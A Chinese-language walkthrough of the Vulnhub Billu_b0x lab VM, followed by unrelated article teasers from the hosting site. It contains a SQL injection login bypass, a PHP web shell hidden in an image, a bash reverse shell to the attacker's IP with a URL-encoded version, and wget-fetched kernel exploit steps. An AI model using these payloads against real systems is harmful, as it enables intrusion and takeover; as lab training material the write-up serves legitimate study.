Vulnhub靶场 Billu_b0x 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 文件包含
    • 2. SQL注入
    • 3. 文件上传
    • 4. 反弹shell
    • 5. 提权(思路1:ssh)
    • 6. 提权(思路2:内核)
    • 7. 补充
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-6.zip

介绍:

This Virtual machine is using ubuntu (32 bit)

Other packages used: -

  • PHP
  • Apache
  • MySQL

This virtual machine is having medium difficulty level with tricks.

One need to break into VM using web application and from there escalate privileges to gain root access

For any query ping me at https://twitter.com/IndiShell1046

Enjoy the machine



0x01 主机信息收集


kali的IP地址:192.168.119.128,eth0

发现目标主机IP:netdiscover -i eth0 -r 192.168.119.0/24

目标主机IP:192.168.119.133

探测目标主机的开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.119.133
在这里插入图片描述



开放了22端口(openssh5.9),80端口(apache2.2.22)。

直接在浏览器访问80端口:
在这里插入图片描述



0x02 站点信息收集


这个靶机的介绍里面有说明这是个apache+php+mysql的站点。利用插件也可以知道这是个php站点。

看一下站点的目录结构:dirsearch -u 192.168.119.133
在这里插入图片描述



依次访问一下发现几个看起来比较有用的地方,add是一个上传图片的地方:
在这里插入图片描述



images里面是站点用到的一些图片:
在这里插入图片描述



index页面就是前面看到的首页了,有username和password的输入框。

phpmy是phpmyadmin的登录页面:
在这里插入图片描述



test页面是一个提示,利用file参数提供文件路径:
在这里插入图片描述



in页面是phpinfo的页面:
在这里插入图片描述



0x03 漏洞查找与利用


根据上面查找出来的信息,可以尝试三个思路。一个是首页的sql注入,另一个是文件上传,还有一个是文件包含。

1. 文件包含


前面在test页面有个提示,可以用file参数提供文件路径。

访问:192.168.119.133/test?file=/etc/passwd

访问:192.168.119.133/test?file=/etc/passwd/test?file=…/…/…/…/…/…/…/etc/passwd

都是一样的提示,file参数是空的。

考虑用POST方式提交:
在这里插入图片描述



可以看到读取文件成功。
(这里用POST方式提交的时候也可以用curl命令:curl -d "file=/etc/passwd" http://192.168.119.133/test

尝试读取网站的其他文件,前面扫描出来的目录可以都试一下,例如读取add.php:
在这里插入图片描述



在c.php中看到了数据库的用户名是billu,密码是b0x_billu,默认数据库是ica_lab:
在这里插入图片描述



在index.php中看到了登录的数据库查询语句:select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\’ ,并且使用了str_replace函数移除了用户名和密码中包含的单引号。
在这里插入图片描述



在test.php中看到源码。这段代码的大体意思是通过post给file参数提供一个文件路径,如果这个文件存在,就设置相关的http信息来下载文件,如果文件不存在或者file参数没有值,则输出一段提示信息:
在这里插入图片描述



2. SQL注入


在上一步文件包含的时候查看了index页面的源代码,发现了sql查询语句,单数输入的单引号被过滤了:

select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\’

只是单引号被过滤了,#\还没被过滤。思路就是用#注释掉最后一个单引号,中间的单引号用反斜杠转义一下。

where pass=‘123\’ and uname=’123#’

这样的话就变成了查询 pass是 123\’ and uname= 的情况。



数据库中应该没有这样的password。那就再后面拼接一个or,所以构造下面这样的查询语句:

where pass=‘123\’ and uname=’ or 1=1 #’

上面这个语句的意思就是查询pass是123\’ and uname= 或者 1=1。这时候应该查询成功了。


所以构造的用户名是: or 1=1 #
密码是:123\
在这里插入图片描述



登录成功以后跳转到panle页面:
在这里插入图片描述



3. 文件上传


点击continue以后,会出现用户名和image。
在这里插入图片描述



点击 add user,continue以后会出现上传文件的地方。上传一个非图片的文件后会提示只能上传图片类的文件:
在这里插入图片描述



考虑制作一个图片马上传到这里。

准备一个图片 1.jpg。

准备一个2.php文件,内容如下:<?php system($_GET['cmd']); ?>

执行命令将代码写到图片末尾:cat 2.php >> 1.jpg
在这里插入图片描述



可以再看一下图片内容,在最后面可以看到写入的代码:cat 1.jpg
在这里插入图片描述



回到panel页面,添加一个用户。添加成功后show一下:
在这里插入图片描述



用前面的文件包含来看一下panel页面的代码,比较重要的部分贴在下面:

if(isset($_POST['continue'])) {
    $dir = getcwd();  // 获取当前工作目录
    $choice = str_replace('./', '', $_POST['load']);  // 获取用户选择的操作

    if($choice === 'add') {
        include($dir.'/'.$choice.'.php');
        die();
    }

    if($choice === 'show') {
        include($dir.'/'.$choice.'.php');
        die();
    } else {
        include($dir.'/'.$_POST['load']);
    }
}

这段代码用str_replace函数去除了post请求中load参数值的 ./ 。如果用户选择了 add,则展示 add.php 文件;如果用户选择了 show,则展示 show.php 文件。这里用了include函数,并且包含文件的时候choice是可控的,这里应该也可以进行文件包含。

if(isset($_POST['upload'])) {
    $name = mysqli_real_escape_string($conn, $_POST['name']);
    $address = mysqli_real_escape_string($conn, $_POST['address']);
    $id = mysqli_real_escape_string($conn, $_POST['id']);
    
    if(!empty($_FILES['image']['name'])) {
        $iname = mysqli_real_escape_string($conn, $_FILES['image']['name']);
        $r = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
        $image = array('jpeg', 'jpg', 'gif', 'png');
        if(in_array($r, $image)) {
            $finfo = @new finfo(FILEINFO_MIME);
            $filetype = @$finfo->file($_FILES['image']['tmp_name']);
            if(preg_match('/image\/jpeg/', $filetype) || preg_match('/image\/png/', $filetype) || preg_match('/image\/gif/', $filetype)) {
                if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])) {
                    echo "Uploaded successfully ";
                    $update = 'INSERT INTO users(name, address, image, id) VALUES(\''.$name.'\', \''.$address.'\', \''.$iname.'\', \''.$id.'\')';
                    mysqli_query($conn, $update);
                }
            } else {
                echo "<br>i told you dear, only png, jpg and gif file are allowed";
            }
        } else {
            echo "<br>only png, jpg and gif file are allowed";
        }
    }
}

这段代码就是处理用户上传的文件。使用mysqli_real_escape_string函数数据进行转义。检查用户上传的文件的扩展名是否为jpg,jpeg,gif,png,使用finfo获取文件的MIME类型,确保上传的是图像文件。使用move_uploaded_file()将图像文件移动到 uploaded_images目录中,将用户的name,address,image和id插入数据的users表中。



在这段代码中发现了一个新的目录,访问一下,可以看到刚才上传的文件 1.jpg:
在这里插入图片描述



访问一下这个图片,并且给cmd参数提供一个值whoami,结果并没有执行命令:
在这里插入图片描述



通过前面的分析,文件包含目前有两个地方。一个是test页面的file参数,再就是上面的panel页面的load参数。

试了一下test页面的,并没有执行代码:
在这里插入图片描述



再尝试一下panel页面的,发现可以执行代码:
在这里插入图片描述



那就可以利用这个进行反弹shell。



4. 反弹shell


在kali监听6677端口,执行命令:nc -lvvp 6677
在这里插入图片描述

接下来准备构造反弹shell的语句:

语句本身:echo "bash -i >& /dev/tcp/192.168.119.128/6677 0>&1" | bash

由于用get方式提交的这个参数,并且带有特殊字符,所以为了防止解析错误,需要对这个进行url编码,结果为:%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%39%2e%31%32%38%2f%36%36%37%37%20%30%3e%26%31%22%20%7c%20%62%61%73%68

把上面这段代码拼接到cmd参数后面:
在这里插入图片描述



发现监听成功:
在这里插入图片描述



5. 提权(思路1:ssh)


看一下当前目录下的文件,没发现有什么。

再看一下当前用户可以执行的命令:sudo -l,报错:
在这里插入图片描述



在这种情况下,这种错误出现一般是因为这里是非交互式环境。可以执行下面的命令获取交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'

再次执行 sudo -l,需要输入密码。只能换个思路。
在这里插入图片描述



再看看有没有什么敏感文件,执行命令:ls -l
在这里插入图片描述



发现了phpmy目录。想起来在一开始扫描目录结构的时候发现了phpmyadmin的登陆页面。进入这个目录看有没有敏感信息。有个config.inc.php文件,查看一下文件的内容,发现了数据库的用户名为root,密码是roottoor,并且下面的一项设置导致不用密码也能登录:
在这里插入图片描述



利用这个用户名密码去phpmy页面进行登录,发现登陆失败。应该不是这个数据库密码,空密码也不能登录,说明这个配置文件和这个页面没啥直接关系。

换个思路,前面还有个22端口没有利用。尝试用这个账号密码进行ssh链接:ssh root@192.168.119.133
在这里插入图片描述

以root身份登录成功。



6. 提权(思路2:内核)


看了一些佬的文章,还可以进行内核提权。

在反弹shell以后,查看系统版本:cat /etc/issue

在这里插入图片描述



查询可以利用的漏洞:searchsploit ubuntu 12.04
在这里插入图片描述



利用 37292.c 这个exp。

将这个文件复制到网站根目录下:cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html

开启apache服务:/etc/init.d/apache2 start
在这里插入图片描述



在反弹的shell中,进入/tmp目录:cd /tmp

(因为tmp目录是全局可写的,所有的用户都可以存放文件。)

下载 37292.c 文件到目标主机:wget http://192.168.119.128/37292.c

将这个文件编译,输出到文件 baji:gcc 37292.c -o baji

执行文件:./baji
在这里插入图片描述



7. 补充


前面用文件包含读源码的时候,在c.php中看到了数据库的用户名是billu,密码是b0x_billu,默认数据库是ica_lab。这个在index页面是无法登录的,这个应该用在phpmy页面进行登录。

登录上以后,在 ica_lab 数据库的auth表中可以看到用户名和密码,可以用这里获取到的信息在index页面登录。
在这里插入图片描述



0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录,依次访问。
  2. 发现一个index登录页,phpmyadmin的登录页。
  3. 在test页根据提示发现了文件包含,可以读取源码。

漏洞利用:

  1. 文件包含查看源码,发现sql查询语句,根据这个语句进行sql注入,成功登录index页面。
  2. 上传图片马,执行系统命令,进行反弹shell。
  3. 读取配置文件,获取敏感信息,进行ssh链接。
  4. 获得系统的版本信息,进行内核提权。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/918101.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW弧焊参数测控系统

在现代制造业中&#xff0c;焊接技术作为关键的生产工艺之一&#xff0c;其质量直接影响到最终产品的性能与稳定性。焊接过程中&#xff0c;电流、电压等焊接参数的精确控制是保证焊接质量的核心。基于LabVIEW开发的弧焊参数测控系统&#xff0c;通过实时监控和控制焊接过程中关…

CentOS网络配置

上一篇文章&#xff1a;VMware Workstation安装Centos系统 在CentOS系统中进行网络配置是确保系统能够顺畅接入网络的重要步骤。本文将详细介绍如何配置静态IP地址、网关、DNS等关键网络参数&#xff0c;以帮助需要的人快速掌握CentOS网络配置的基本方法和技巧。通过遵循本文的…

低速接口项目之串口Uart开发(一)——串口UART

本节目录 一、串口UART 二、串口协议 三、串口硬件 四、往期文章链接本节内容 一、串口UART 串口UART,通用异步收发传输器&#xff08;Universal Asynchronnous Receiver / Transmitter&#xff09;,一种异步收发传输器&#xff0c;全双工传输。数据发送时&#xff0c;将并行…

Uni-APP+Vue3+鸿蒙 开发菜鸟流程

参考文档 文档中心 运行和发行 | uni-app官网 AppGallery Connect DCloud开发者中心 环境要求 Vue3jdk 17 Java Downloads | Oracle 中国 【鸿蒙开发工具内置jdk17&#xff0c;本地不使用17会报jdk版本不一致问题】 开发工具 HBuilderDevEco Studio【目前只下载这一个就…

SQL 外连接

1 外连接 外连接是一种用于结合两个或多个表的方式&#xff0c;返回至少一个表中的所有记录。 左外连接 LEFT JOIN&#xff0c;左表为驱动表&#xff0c;右表为从表。返回驱动表的所有记录以及从表中的匹配记录。如果从表没有匹配&#xff0c;则结果中从表的部分为NULL。 右…

笔记|M芯片MAC (arm64) docker上使用 export / import / commit 构建amd64镜像

很简单的起因&#xff0c;我的东西最终需要跑在amd64上&#xff0c;但是因为mac的架构师arm64&#xff0c;所以直接构建好的代码是没办法跨平台运行的。直接在arm64上pull下来的docker镜像也都是arm64架构。 检查镜像架构&#xff1a; docker inspect 8135f475e221 | grep Arc…

SAP+Internet主题HTML样式选择

SAP目前只支持三种HTML样式选择&#xff1a; 样式一 背景色&#xff1a;深色&#xff0c;蓝 特点&#xff1a;适中型排列&#xff0c;与SAP界面排列相同&#xff0c;富含UI特征&#xff0c;整齐美观 URL地址&#xff1a;http://cn1000-sap-01.sc.com:8000/sap/bc/gui/sap/it…

使用 Qt 实现基于海康相机的图像采集和显示系统(不使用外部视觉库,如Halcon\OpenCv)[工程源码联系博主索要]

本文将梳理一个不借助外部视觉库&#xff08;如 OpenCV/Halcon&#xff09;的海康相机图像采集和显示 Demo。该程序直接使用 Qt GUI 来显示图像。通过海康 MVS SDK 实现相机的连接、参数设置、图像采集和异常处理等功能&#xff0c;并通过 Qt 界面展示操作结果。 1. 功能概述 …

C# 异步Task异常处理和堆栈追踪显示

Task的问题 在C#中异步Task是一个很方便的语法&#xff0c;经常用在处理异步&#xff0c;例如需要下载等待等方法中&#xff0c;不用函数跳转&#xff0c;代码阅读性大大提高&#xff0c;深受大家喜欢。 但是有时候发现我们的异步函数可能出现了报错&#xff0c;但是异常又没…

31.3 XOR压缩和相关的prometheus源码解读

本节重点介绍 : xor 压缩value原理xor压缩过程讲解xor压缩prometheus源码解读xor 压缩效果 xor 压缩value原理 原理:时序数据库相邻点变化不大&#xff0c;采用异或压缩float64的前缀和后缀0个数 xor压缩过程讲解 第一个值使用原始点存储计算和前面的值的xor 如果XOR值为0&…

游戏引擎学习第16天

视频参考:https://www.bilibili.com/video/BV1mEUCY8EiC/ 这些字幕讨论了编译器警告的概念以及如何在编译过程中启用和处理警告。以下是字幕的内容摘要&#xff1a; 警告的定义&#xff1a;警告是编译器用来告诉你某些地方可能存在问题&#xff0c;尽管编译器不强制要求你修复…

解析煤矿一张图

解析煤矿一张图 ​ 煤矿一张图是指通过数字化、智能化技术将煤矿的各项信息、数据和资源进行集中展示和管理&#xff0c;形成一个综合的可视化平台。这一平台将矿井的地理信息、设备状态、人员位置、安全生产、环境监测等信息整合成一个统一的“图形”&#xff0c;以便于管理者…

Python学习27天

字典 dict{one:1,two:2,three:3} # 遍历1&#xff1a; # 先取出Key for key in dict:# 取出Key对应的valueprint(f"key:{key}---value:{dict[key]}")#遍历2&#xff0c;依次取出value for value in dict.values():print(value)# 遍历3&#xff1a;依次取出key,value …

【伪造检测】Noise Based Deepfake Detection via Multi-Head Relative-Interaction

一、研究动机 [!note] 动机&#xff1a;目前基于噪声的检测是利用Photo Response Non-Uniformity (PRNU)实现的&#xff0c;这是一种由于相机感光传感器而造成的缺陷噪声&#xff0c;主要用图像的源识别&#xff0c;在伪造检测的任务中并没有很好的表现。因此在文中提出了一种基…

【eNSP】企业网络架构实验——vlan间的路由通信(三)

VLAN间的路由是指不同VLAN之间的通信&#xff0c;通常VLAN是用来分割网络流量和提高网络安全性的。 一、VLAN 1. 什么是VLAN&#xff1f; VLAN&#xff0c;全称是虚拟局域网&#xff08;Virtual Local Area Network&#xff09;&#xff0c;是一种将物理局域网&#xff08;LA…

github 模型下载方法

github 模型权重&#xff0c;如果是项目下载&#xff0c;pth文件有时下载后只有1kb 本人测试ok下载方法&#xff1a; 点击view raw&#xff0c;然后可以下载模型权重文件了。

【微软:多模态基础模型】(2)视觉理解

欢迎关注【youcans的AGI学习笔记】原创作品 【微软&#xff1a;多模态基础模型】&#xff08;1&#xff09;从专家到通用助手 【微软&#xff1a;多模态基础模型】&#xff08;2&#xff09;视觉理解 【微软&#xff1a;多模态基础模型】&#xff08;3&#xff09;视觉生成 【微…

Dolby TrueHD和Dolby Digital Plus (E-AC-3)编码介绍

文章目录 1. Dolby TrueHD特点总结 2. Dolby Digital Plus (E-AC-3)特点总结 Dolby TrueHD 与 Dolby Digital Plus (E-AC-3) 的对比 Dolby TrueHD和Dolby Digital Plus (E-AC-3) 是两种高级的杜比音频编码格式&#xff0c;常用于蓝光影碟、流媒体、影院等高品质音频传输场景。它…

基于SpringBoot的养老院管理系统+文档

&#x1f497;博主介绍&#x1f497;&#xff1a;✌在职Java研发工程师、专注于程序设计、源码分享、技术交流、专注于Java技术领域和毕业设计✌ 温馨提示&#xff1a;文末有 CSDN 平台官方提供的老师 Wechat / QQ 名片 :) Java精品实战案例《700套》 2025最新毕业设计选题推荐…

Figma汉化:提升设计效率,降低沟通成本

在UI设计领域&#xff0c;Figma因其强大的功能而广受欢迎&#xff0c;但全英文界面对于国内设计师来说是一个不小的挑战。幸运的是&#xff0c;通过Figma汉化插件&#xff0c;我们可以克服语言障碍。以下是两种获取和安装Figma汉化插件的方法&#xff0c;旨在帮助国内的UI设计师…